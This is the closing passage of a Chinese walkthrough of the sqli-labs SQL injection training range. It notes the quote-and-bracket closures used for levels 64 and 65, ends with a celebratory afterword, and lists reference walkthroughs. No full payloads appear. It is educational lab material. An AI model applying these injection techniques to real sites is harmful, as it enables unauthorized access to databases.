和62关一样,闭合变成了两个括号))。
Less-65
和62关一样,闭合变成了双引号加括号")。
虽然还显示有关卡,但发现写到这里就结束了。
后记:
如果小伙伴能进行到这里,那真是不容易。
在这里,庆贺一个SQL注入老炮的诞生;
在这里,赞叹一个人锲而不舍的坚持;
在这里,祝福一个勇者愈挫愈勇地前行。
参考资料
【总结】sqli-labs Less(1-35) 小结
【总结】sqli-labs Less(1-35) 小结 - Carrypan - 博客园
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客
详细sqli-labs(1-65)通关讲解
SQLI labs 靶场精简学习记录